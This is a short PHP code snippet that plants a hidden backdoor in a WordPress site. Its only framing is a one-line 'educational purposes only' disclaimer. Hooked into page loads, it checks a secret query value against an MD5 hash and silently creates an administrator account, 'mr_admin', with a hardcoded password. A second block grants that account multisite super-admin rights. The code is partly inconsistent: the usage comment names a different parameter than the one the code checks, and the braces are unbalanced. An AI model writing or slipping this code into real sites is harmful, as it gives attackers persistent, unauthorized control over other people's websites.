``` // adds a backdoor into a WordPress install // source http://www.wpmayor.com/code/how-to-create-a-backdoor-to-a-wordpress-website/ // for educational purposes only // to generate the user visit //example.com/?go=backdoor add_action( 'wp_head', 'so_backdoor' ); function so_backdoor() { if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'mr_admin' ) ) { $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } } // extend the function for creating a super admin user if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'mr_admin' ) ) { $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); $super_admins=get_site_option( 'site_admins', array( 'admin' ) ); $user = new WP_User( $user_id ); $user->set_role( 'super-admin' ); if ( ! in_array( $user->user_login, $super_admins ) ) { $super_admins[] = $user->user_login; update_site_option( 'site_admins' , $super_admins ); do_action( 'granted_super_admin', $user_id ); return true; } } } } ```